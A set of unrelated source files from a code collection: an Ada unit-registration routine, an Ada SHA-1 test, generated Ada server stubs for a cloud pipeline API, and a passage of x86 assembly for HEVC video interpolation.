-- in this case, while we're at it, we should also ensure that the
-- New_Unit's kind matches the Existing_Unit's kind where (and only
-- where) the existing unit is not of Kind "Subunit"
pragma Assert (New_Unit.Kind /= Unknown);
case Existing_Unit.Kind is
when Unknown =>
-- We're registering a requested unit, which is basically a
-- place-holder.
-- We don't really want to go whole-sale replacing of the
-- Unit, because it breaks some of the continuity with the
-- code that follows this case statement. Also, doing it
-- surgically like this might be slightly more performant.
-- We first set the kind, and ensure that we transfer any
-- of the subunit bodies
Existing_Unit.Kind := New_Unit.Kind;
Existing_Unit.Subunit_Bodies := New_Unit.Subunit_Bodies;
when Subunit =>
-- If the existing unit is a Subunit, but the inbound one isn't,
-- just means that we've already registered subunits for the
-- unit, but haven't seen the actual parent until now, so
-- obviously we want to set the parent to the appropriate kind
-- Note that a unit registered as a "Subunit" is a subunit
-- itself, and must therefore not have a spec or a body file.
-- The incoming unit shall have one of those
pragma Assert (New_Unit.Kind /= External_Unit);
Existing_Unit.Kind := New_Unit.Kind;
when Package_Unit | Subprogram_Unit =>
-- So the existing unit is either the spec or the body, so we
-- expect to have either/or coming in and we expect that both
-- have the same Kind. Otherwise the new "unit" should be a
-- subunit assigned to the existring unit.
-- These need to be checked with a hard assertion, since the
-- environment has potential to produce violations here
Assert (Check => (if New_Unit.Kind /= Subunit then
New_Unit.Kind = Existing_Unit.Kind),
Message => "Library unit specification kind does not "
& "match the body - one is a package, "
& "and the other is a subprogram.");
-- Append any inbound subunit bodies to the vector of the
-- existing unit
Existing_Unit.Subunit_Bodies.Append (New_Unit.Subunit_Bodies);
when External_Unit =>
-- The current unit had better be "requested"
Assert (Existing_Unit.State = Requested,
Message => "Double registration of an "
& "external unit");
end case;
-- Getting here means that the existing unit was not of Kind
-- "Unknown", and so we really need to just add the appropriate
-- source info.
if New_Unit.Spec_File /= null then
-- Spec
Assert (Check => Existing_Unit.Spec_File = null,
Message => "Double registration of specification");
Existing_Unit.Spec_File := New_Unit.Spec_File;
end if;
if New_Unit.Body_File /= null then
-- Body
Assert (Check => Existing_Unit.Body_File = null,
Message => "Double registration of body");
Existing_Unit.Body_File := New_Unit.Body_File;
end if;
Existing_Unit.State := Available;
-- Note that we mark this as available even in cases where the unit
-- might not technically be Available - for example, an Ada package
-- with only a body. If we didn't set the state to Available here,
-- the error to the user might end up being a lot more cryptic than
-- if the failure happens during compilation.
--
-- Remember that AURA is not a compiler, and sometimes we need to
-- step out of the way.
end Modify_Unit;
Insert_OK: Boolean;
begin
pragma Assert (New_Unit.State = Available);
-- It is possible that multiple work orders (one for the body, one for
-- the spec, and several for subunit bodies) for the same unit can be
-- processed by multiple workers simultaneously. Only one of them can
-- be the first to insert the new unit, and the rest have to modify.
--
-- We'll have a controled race to see who gets to insert by just trying
-- to do that immediately via an Insert operation. If that operation
-- fails, we'll just revert to a modification. This saves the hastly of
-- checking first (via Contains_Element), and then running the risk that
-- another worker will get in before us anyways, and cause the Insert
-- operation to fail anyways.
All_Library_Units.Insert (New_Item => New_Unit,
Inserted => Insert_OK);
if not Insert_OK then
All_Library_Units.Modify (Match => New_Unit,
Process => Modify_Unit'Access);
end if;
-- Now we need to check on the unit's Subsystem. If it is not already
-- registered in All_Subsystems, we need to do one of two possible
-- things:
--
-- 1. If the registration order is associated with an AURA subsystem,
-- that subsystem better exist. That is because before an AURA
-- subsystem is entered, it's Subsystem entry will be made first.
-- This should not happen, and is a bug (pragma Assert is sufficient)
--
-- 2. If the registration is not associated with an AURA subsystem,
-- it is part of the root project. We should then register a new
-- subsystem based on the name of the unit. If a subsystem already
-- exists, it should be both AURA and "Requested", since the root
-- project items are allways entered before any of the AURA
-- subsystems. Therefore we can use the Include operation, which
-- will cause any existing subsystem requested (which are assumed to
-- be AURA requests) to be replaced.
--
-- Note that we don't have a race condition issue like we did with the
-- unit, since the installed non-aura Subsystem is always the same, and
-- so we can just invoke Include. We do try checking first to save on
-- the performance hit of actually overriting an existing element
pragma Assert
(if Order.AURA then
All_Subsystems.Contains_Element (Order.AURA_Subsystem));
if not Order.AURA then
declare
New_SS: Subsystem (AURA => False);
begin
New_SS.Name := Unit_Name(New_Unit.Name.Subsystem_Name);
New_SS.State := Available;
All_Subsystems.Include (New_SS);
-- This of course overwrites anything that exists there. This
-- only happens for non aura unit entires, where the other data
-- besides name and state are not relevent.
--
-- The one exception would be the AURA package itself. Thus it
-- is important that the the root configuration be processed after
-- all of the AURA units have been entered.
end;
end if;
end Execute;
end Registrar.Executive.Library_Unit_Registration;
|
examples/test_sha1.adb | ytomino/openssl-ada | 1 | 28214 | <reponame>ytomino/openssl-ada<filename>examples/test_sha1.adb
with Ada.Streams;
with Ada.Text_IO;
with Crypto.SHA1; use Crypto.SHA1;
procedure Test_SHA1 is
procedure Test_01 is
use type Ada.Streams.Stream_Element_Array;
C : Context := Initial;
D : Fingerprint;
begin
Update (C, "a");
Final (C, D);
pragma Assert (Image (D) = "86f7e437faa5a7fce15d1ddcb9eaeaea377667b8");
pragma Assert (D = Value (Image (D)));
end Test_01;
pragma Debug (Test_01);
begin
-- finish
Ada.Text_IO.Put_Line (Ada.Text_IO.Standard_Error.all, "ok");
end Test_SHA1;
|
clients/ada-server/generated/src/-servers.adb | shinesolutions/cloudmanager-api-clients | 3 | 11460 | -- Cloud Manager API
-- This API allows access to Cloud Manager programs, pipelines, and environments by an authorized technical account created through the Adobe I/O Console. The base url for this API is https://cloudmanager.adobe.io, e.g. to get the list of programs for an organization, you would make a GET request to https://cloudmanager.adobe.io/api/programs (with the correct set of headers as described below). This swagger file can be downloaded from https://raw.githubusercontent.com/AdobeDocs/cloudmanager_api_docs/master/swagger_specs/api.yaml.
-- ------------ EDIT NOTE ------------
-- This file was generated with openapi-generator. You can modify it to implement
-- the server. After you modify this file, you should add the following line
-- to the .openapi-generator-ignore file:
--
-- src/-servers.adb
--
-- Then, you can drop this edit note comment.
-- ------------ EDIT NOTE ------------
package body .Servers is
-- List Branches
-- Returns the list of branches from a repository
overriding
procedure Get_Branches
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Repository_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.BranchList_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Branches;
-- DeleteEnvironment
-- Delete environment
overriding
procedure Delete_Environment
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Environment_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.Environment_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Delete_Environment;
-- Download Logs
-- Download environment logs
overriding
procedure Download_Logs
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Environment_Id : in Swagger.UString;
Service : in Swagger.UString;
Name : in Swagger.UString;
Date : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
P_Accept : in Swagger.Nullable_UString;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Download_Logs;
-- Get Environment
-- Returns an environment by its id
overriding
procedure Get_Environment
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Environment_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.Environment_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Environment;
-- Get Environment Logs
-- List all logs available in environment
overriding
procedure Get_Environment_Logs
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Environment_Id : in Swagger.UString;
Days : in Integer;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Service : in Swagger.UString_Vectors.Vector;
Name : in Swagger.UString_Vectors.Vector;
Result : out .Models.EnvironmentLogs_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Environment_Logs;
-- List Environments
-- Lists all environments in an program
overriding
procedure Get_Environments
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
P_Type : in Swagger.Nullable_UString;
Result : out .Models.EnvironmentList_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Environments;
-- Advance
-- Post to this url in order to advance the current pipeline execution, if paused and waiting for user interaction. Link is present in output only in that case. The input depends on the actual reason for which the pipeline execution stopped.
overriding
procedure Advance_Pipeline_Execution
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Pipeline_Id : in Swagger.UString;
Execution_Id : in Swagger.UString;
Phase_Id : in Swagger.UString;
Step_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Content_Type : in Swagger.UString;
P_Body : in Swagger.Object;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Advance_Pipeline_Execution;
-- Cancel
-- Post to this url in order to cancel the current pipeline execution. Link is present in output only in that case.
overriding
procedure Cancel_Pipeline_Execution_Step
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Pipeline_Id : in Swagger.UString;
Execution_Id : in Swagger.UString;
Phase_Id : in Swagger.UString;
Step_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Content_Type : in Swagger.UString;
P_Body : in Swagger.Object;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Cancel_Pipeline_Execution_Step;
-- Get current pipeline execution
-- Returns current pipeline execution if any.
overriding
procedure Get_Current_Execution
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Pipeline_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.PipelineExecution_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Current_Execution;
-- Get pipeline execution
-- Returns a pipeline execution by id
overriding
procedure Get_Execution
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Pipeline_Id : in Swagger.UString;
Execution_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.PipelineExecution_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Execution;
-- List Executions
-- Returns the history of pipeline executions in a newest to oldest order
overriding
procedure Get_Executions
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Pipeline_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Start : in Swagger.Nullable_UString;
Limit : in Swagger.Nullable_Integer;
Result : out .Models.PipelineExecutionListRepresentation_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Executions;
-- Get logs
-- Get the logs associated with a step.
overriding
procedure Get_Step_Logs
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Pipeline_Id : in Swagger.UString;
Execution_Id : in Swagger.UString;
Phase_Id : in Swagger.UString;
Step_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
File : in Swagger.Nullable_UString;
P_Accept : in Swagger.Nullable_UString;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Step_Logs;
-- Start the pipeline
-- Starts the Pipeline. This works only if the pipeline is not already started.
overriding
procedure Start_Pipeline
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Pipeline_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Content_Type : in Swagger.UString;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Start_Pipeline;
-- Get step metrics
overriding
procedure Step_Metric
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Pipeline_Id : in Swagger.UString;
Execution_Id : in Swagger.UString;
Phase_Id : in Swagger.UString;
Step_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.PipelineStepMetrics_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Step_Metric;
-- Get step state
overriding
procedure Step_State
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Pipeline_Id : in Swagger.UString;
Execution_Id : in Swagger.UString;
Phase_Id : in Swagger.UString;
Step_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.PipelineExecutionStepState_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Step_State;
-- Delete a Pipeline
-- Delete a pipeline. All the data is wiped.
overriding
procedure Delete_Pipeline
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Pipeline_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Delete_Pipeline;
-- Get Pipeline
-- Returns a pipeline by its id
overriding
procedure Get_Pipeline
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Pipeline_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.Pipeline_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Pipeline;
-- List Pipelines
-- Returns all the pipelines that the requesting user has access to in an program
overriding
procedure Get_Pipelines
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.PipelineList_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Pipelines;
-- Patches Pipeline
-- Patches a pipeline within an program.
overriding
procedure Patch_Pipeline
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Pipeline_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Content_Type : in Swagger.UString;
P_Body : in Pipeline_Type;
Result : out .Models.Pipeline_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Patch_Pipeline;
-- Delete Program
-- Delete an program
overriding
procedure Delete_Program
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.Program_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Delete_Program;
-- Get Program
-- Returns a program by its id
overriding
procedure Get_Program
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.Program_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Program;
-- Lists Programs
-- Returns all programs that the requesting user has access to
overriding
procedure Get_Programs
(Server : in out Server_Type;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.ProgramList_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Programs;
-- Lists Repositories
-- Lists all Repositories in an program
overriding
procedure Get_Repositories
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.RepositoryList_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Repositories;
-- Get Repository
-- Returns an repository by its id
overriding
procedure Get_Repository
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Repository_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.Repository_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Repository;
-- List User Environment Variables
-- List the user defined variables for an environment (Cloud Service only).
overriding
procedure Get_Environment_Variables
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Environment_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Result : out .Models.VariableList_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Get_Environment_Variables;
-- Patch User Environment Variables
-- Modify multiple environment variables (Cloud Service only). To delete a variable, include it with an empty value.
overriding
procedure Patch_Environment_Variables
(Server : in out Server_Type;
Program_Id : in Swagger.UString;
Environment_Id : in Swagger.UString;
X_Gw_Ims_Org_Id : in Swagger.UString;
Authorization : in Swagger.UString;
X_Api_Key : in Swagger.UString;
Content_Type : in Swagger.UString;
P_Body : in .Models.Variable_Type_Vectors.Vector;
Result : out .Models.VariableList_Type;
Context : in out Swagger.Servers.Context_Type) is
begin
null;
end Patch_Environment_Variables;
end .Servers;
|
libav-12.3/libavcodec/x86/hevc_mc.asm | aldarons-tech/aci | 0 | 10513 | ;*****************************************************************************
;* x86-optimized HEVC MC
;* Copyright 2015 <NAME>
;*
;* This file is part of Libav.
;*
;* Libav is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* Libav is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with Libav; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "libavutil/x86/x86util.asm"
SECTION_RODATA
pw_1023: times 8 dw 1023
cextern hevc_qpel_coeffs
cextern hevc_qpel_coeffs8
cextern hevc_epel_coeffs
cextern hevc_epel_coeffs8
cextern pw_8
cextern pw_16
cextern pw_32
cextern pw_64
SECTION .text
; %1: width
; %2: bit depth
%macro COMMON_DEFS 2
%assign blocksize 8
%assign nb_blocks ((%1 + blocksize - 1) / blocksize)
%define last_block_truncated (blocksize * nb_blocks > %1)
%if %2 > 8
%define LOAD_BLOCK movu
%define LOAD_HALFBLOCK movq
%assign pixelsize 2
%else
%define LOAD_BLOCK movq
%define LOAD_HALFBLOCK movd
%assign pixelsize 1
%endif
%define STORE_BLOCK mova
%define STORE_HALFBLOCK movq
%endmacro
; %1: block index
%macro BLOCK_DEFS 1
%if last_block_truncated && %1 == nb_blocks - 1
%define block_truncated 1
%define LOAD LOAD_HALFBLOCK
%define STORE STORE_HALFBLOCK
%else
%define block_truncated 0
%define LOAD LOAD_BLOCK
%define STORE STORE_BLOCK
%endif
%endmacro
; hevc_get_pixels_<w>_<d>(int16_t *dst, ptrdiff_t dststride,
; pixel *src, ptrdiff_t srcstride,
; int height, int mx, int my, int *mcbuffer)
; %1: block width
; %2: bit depth
; %3: log2 of height unroll
%macro GET_PIXELS 3
cglobal hevc_get_pixels_ %+ %1 %+ _ %+ %2, 5, 5, 2, dst, dststride, src, srcstride, height ; rest of the args unused
%assign shift 14 - %2
COMMON_DEFS %1, %2
%if pixelsize == 1
pxor m0, m0
%endif
shr heightd, %3
.loop:
%assign i 0
%rep (1 << %3)
%assign j 0
%rep nb_blocks
BLOCK_DEFS j
LOAD m1, [srcq + j * pixelsize * blocksize]
%if pixelsize == 1
punpcklbw m1, m0
%endif
psllw m1, shift
STORE [dstq + j * 2 * blocksize], m1
%assign j (j + 1)
%endrep
add dstq, dststrideq
add srcq, srcstrideq
%assign i (i + 1)
%endrep
dec heightd
jg .loop
RET
%endmacro
INIT_XMM sse2
GET_PIXELS 4, 8, 1
GET_PIXELS 8, 8, 1
GET_PIXELS 12, 8, 3
GET_PIXELS 16, 8, 2
GET_PIXELS 24, 8, 3
GET_PIXELS 32, 8, 3
GET_PIXELS 48, 8, 3
GET_PIXELS 64, 8, 3
GET_PIXELS 4, 10, 1
GET_PIXELS 8, 10, 1
GET_PIXELS 12, 10, 3
GET_PIXELS 16, 10, 2
GET_PIXELS 24, 10, 3
GET_PIXELS 32, 10, 3
GET_PIXELS 48, 10, 3
GET_PIXELS 64, 10, 3
; hevc_qpel_h/v_<w>_8(int16_t *dst, ptrdiff_t dststride,
; uint8_t *src, ptrdiff_t srcstride,
; int height, int mx, int my, int *mcbuffer)
; 8-bit qpel interpolation
; %1: block width
; %2: 0 - horizontal; 1 - vertical
%macro QPEL_8 2
%if %2
%define postfix v
%define mvfrac myq
%define coeffsaddr r5q
%define pixstride srcstrideq
%define pixstride3 r5q
%define src_m3 r6q
%else
%define postfix h
%define mvfrac mxq
%define coeffsaddr r6q
%define pixstride 1
%define pixstride3 3
%define src_m3 (srcq - 3)
%endif
COMMON_DEFS %1, 8
cglobal hevc_qpel_ %+ postfix %+ _ %+ %1 %+ _8, 7, 7, 7, dst, dststride, src, srcstride, height, mx, my
and mvfrac, 0x3
dec mvfrac
shl mvfrac, 4
lea coeffsaddr, [hevc_qpel_coeffs8]
mova m0, [coeffsaddr + mvfrac]
SPLATW m1, m0, 1
SPLATW m2, m0, 2
SPLATW m3, m0, 3
SPLATW m0, m0, 0
%if %2
lea pixstride3, [srcstrideq + 2 * srcstrideq]
mov src_m3, srcq
sub src_m3, pixstride3
%endif
.loop
%assign i 0
%rep nb_blocks
BLOCK_DEFS i
LOAD m4, [src_m3 + i * blocksize]
LOAD m5, [src_m3 + i * blocksize + 1 * pixstride]
punpcklbw m4, m5
pmaddubsw m4, m0
LOAD m5, [src_m3 + i * blocksize + 2 * pixstride]
LOAD m6, [srcq + i * blocksize]
punpcklbw m5, m6
pmaddubsw m5, m1
paddsw m4, m5
LOAD m5, [srcq + i * blocksize + 1 * pixstride]
LOAD m6, [srcq + i * blocksize + 2 * pixstride]
punpcklbw m5, m6
pmaddubsw m5, m2
paddsw m4, m5
LOAD m5, [srcq + i * blocksize + pixstride3]
LOAD m6, [srcq + i * blocksize + 4 * pixstride]
punpcklbw m5, m6
pmaddubsw m5, m3
paddsw m4, m5
STORE [dstq + i * 2 * blocksize], m4
%assign i (i + 1)
%endrep
add dstq, dststrideq
add srcq, srcstrideq
%if %2
add src_m3, srcstrideq
%endif
dec heightd
jg .loop
RET
%endmacro
INIT_XMM ssse3
QPEL_8 4, 0
QPEL_8 8, 0
QPEL_8 12, 0
QPEL_8 16, 0
QPEL_8 24, 0
QPEL_8 32, 0
QPEL_8 48, 0
QPEL_8 64, 0
QPEL_8 4, 1
QPEL_8 8, 1
QPEL_8 12, 1
QPEL_8 16, 1
QPEL_8 24, 1
QPEL_8 32, 1
QPEL_8 48, 1
QPEL_8 64, 1
; 16-bit qpel interpolation
; %1: block width
; %2: shift applied to the result
; %3: 0 - horizontal; 1 - vertical
%macro QPEL_16 3
%if %3
%define mvfrac myq
%define pixstride srcstrideq
%define pixstride3 sstride3q
%define src_m3 srcm3q
%else
%define mvfrac mxq
%define pixstride 2
%define pixstride3 6
%define src_m3 (srcq - 6)
%endif
COMMON_DEFS %1, 16
and mvfrac, 0x3
dec mvfrac
shl mvfrac, 4
lea coeffsregq, [hevc_qpel_coeffs]
mova m0, [coeffsregq + mvfrac]
pshufd m1, m0, 0x55
pshufd m2, m0, 0xaa
pshufd m3, m0, 0xff
pshufd m0, m0, 0x00
%if %3
lea sstride3q, [srcstrideq + 2 * srcstrideq]
mov srcm3q, srcq
sub srcm3q, sstride3q
%endif
.loop
%assign i 0
%rep nb_blocks
BLOCK_DEFS i
LOAD m4, [src_m3 + i * 2 * blocksize]
LOAD m5, [src_m3 + i * 2 * blocksize + 1 * pixstride]
LOAD m6, [src_m3 + i * 2 * blocksize + 2 * pixstride]
LOAD m7, [srcq + i * 2 * blocksize + 0 * pixstride]
LOAD m8, [srcq + i * 2 * blocksize + 1 * pixstride]
LOAD m9, [srcq + i * 2 * blocksize + 2 * pixstride]
LOAD m10, [srcq + i * 2 * blocksize + pixstride3]
LOAD m11, [srcq + i * 2 * blocksize + 4 * pixstride]
punpcklwd m12, m4, m5
pmaddwd m12, m0
punpcklwd m13, m6, m7
pmaddwd m13, m1
paddd m12, m13
punpcklwd m13, m8, m9
pmaddwd m13, m2
paddd m12, m13
punpcklwd m13, m10, m11
pmaddwd m13, m3
paddd m12, m13
psrad m12, %2
%if block_truncated == 0
punpckhwd m4, m5
pmaddwd m4, m0
punpckhwd m6, m7
pmaddwd m6, m1
paddd m4, m6
punpckhwd m8, m9
pmaddwd m8, m2
paddd m4, m8
punpckhwd m10, m11
pmaddwd m10, m3
paddd m4, m10
psrad m4, %2
%endif
packssdw m12, m4
STORE [dstq + i * 2 * blocksize], m12
%assign i (i + 1)
%endrep
add dstq, dststrideq
add srcq, srcstrideq
%if %3
add srcm3q, srcstrideq
%endif
dec heightd
jg .loop
RET
%endmacro
%if ARCH_X86_64
%macro QPEL_H_10 1
cglobal hevc_qpel_h_ %+ %1 %+ _10, 7, 9, 14, dst, dststride, src, srcstride, height, mx, my, mcbuffer, coeffsreg
QPEL_16 %1, 2, 0
%endmacro
INIT_XMM avx
QPEL_H_10 4
QPEL_H_10 8
QPEL_H_10 12
QPEL_H_10 16
QPEL_H_10 24
QPEL_H_10 32
QPEL_H_10 48
QPEL_H_10 64
%macro QPEL_V_10 1
cglobal hevc_qpel_v_ %+ %1 %+ _10, 7, 10, 14, dst, dststride, src, srcstride, height, mx, my, sstride3, srcm3, coeffsreg
QPEL_16 %1, 2, 1
%endmacro
INIT_XMM avx
QPEL_V_10 4
QPEL_V_10 8
QPEL_V_10 12
QPEL_V_10 16
QPEL_V_10 24
QPEL_V_10 32
QPEL_V_10 48
QPEL_V_10 64
; hevc_qpel_hv_<w>(int16_t *dst, ptrdiff_t dststride,
; uint8_t *src, ptrdiff_t srcstride,
; int height, int mx, int my, int *mcbuffer)
%macro QPEL_HV 1
cglobal hevc_qpel_hv_ %+ %1, 7, 10, 14, dst, dststride, src, srcstride, height, mx, my, sstride3, srcm3, coeffsreg
QPEL_16 %1, 6, 1
%endmacro
INIT_XMM avx
QPEL_HV 4
QPEL_HV 8
QPEL_HV 12
QPEL_HV 16
QPEL_HV 24
QPEL_HV 32
QPEL_HV 48
QPEL_HV 64
%endif ; ARCH_X86_64
; hevc_epel_h/v_<w>_8(int16_t *dst, ptrdiff_t dststride,
; uint8_t *src, ptrdiff_t srcstride,
; int height, int mx, int my, int *mcbuffer)
; 8-bit epel interpolation
; %1: block width
; %2: 0 - horizontal; 1 - vertical
%macro EPEL_8 2
%if %2
%define postfix v
%define mvfrac myq
%define coeffsaddr r5q
%define pixstride srcstrideq
%define pixstride3 r5q
%else
%define postfix h
%define mvfrac mxq
%define coeffsaddr r6q
%define pixstride 1
%define pixstride3 3
%endif
COMMON_DEFS %1, 8
cglobal hevc_epel_ %+ postfix %+ _ %+ %1 %+ _8, 7, 7, 6, dst, dststride, src, srcstride, height, mx, my
and mvfrac, 0x7
dec mvfrac
shl mvfrac, 4
lea coeffsaddr, [hevc_epel_coeffs8]
movq m0, [coeffsaddr + mvfrac]
SPLATW m1, m0, 1
SPLATW m0, m0, 0
%if %2
lea pixstride3, [srcstrideq + 2 * srcstrideq]
%endif
sub srcq, pixstride
.loop
%assign i 0
%rep nb_blocks
BLOCK_DEFS i
LOAD m2, [srcq + i * blocksize + 0 * pixstride]
LOAD m3, [srcq + i * blocksize + 1 * pixstride]
LOAD m4, [srcq + i * blocksize + 2 * pixstride]
LOAD m5, [srcq + i * blocksize + pixstride3]
punpcklbw m2, m3
punpcklbw m4, m5
pmaddubsw m2, m0
pmaddubsw m4, m1
paddsw m2, m4
STORE [dstq + i * 2 * blocksize], m2
%assign i (i + 1)
%endrep
add dstq, dststrideq
add srcq, srcstrideq
dec heightd
jg .loop
RET
%endmacro
INIT_XMM ssse3
EPEL_8 4, 0
EPEL_8 8, 0
EPEL_8 12, 0
EPEL_8 16, 0
EPEL_8 24, 0
EPEL_8 32, 0
EPEL_8 4, 1
EPEL_8 8, 1
EPEL_8 12, 1
EPEL_8 16, 1
EPEL_8 24, 1
EPEL_8 32, 1
%macro EPEL_16 3
%if %3
%define mvfrac myq
%define pixstride srcstrideq
%define pixstride3 sstride3q
%else
%define mvfrac mxq
%define pixstride 2
%define pixstride3 6
%endif
COMMON_DEFS %1, 16
and mvfrac, 0x7
dec mvfrac
shl mvfrac, 5
lea coeffsregq, [hevc_epel_coeffs]
mova m0, [coeffsregq + mvfrac]
pshufd m1, m0, 0x55
pshufd m0, m0, 0x00
%if %3
lea sstride3q, [srcstrideq + 2 * srcstrideq]
%endif
sub srcq, pixstride
.loop
%assign i 0
%rep nb_blocks
BLOCK_DEFS i
LOAD m2, [srcq + i * 2 * blocksize + 0 * pixstride]
LOAD m3, [srcq + i * 2 * blocksize + 1 * pixstride]
LOAD m4, [srcq + i * 2 * blocksize + 2 * pixstride]
LOAD m5, [srcq + i * 2 * blocksize + pixstride3]
punpcklwd m6, m2, m3
punpcklwd m7, m4, m5
pmaddwd m6, m0
pmaddwd m7, m1
paddd m6, m7
psrad m6, %2
%if block_truncated == 0
punpckhwd m2, m3
punpckhwd m4, m5
pmaddwd m2, m0
pmaddwd m4, m1
paddd m2, m4
psrad m2, %2
%endif
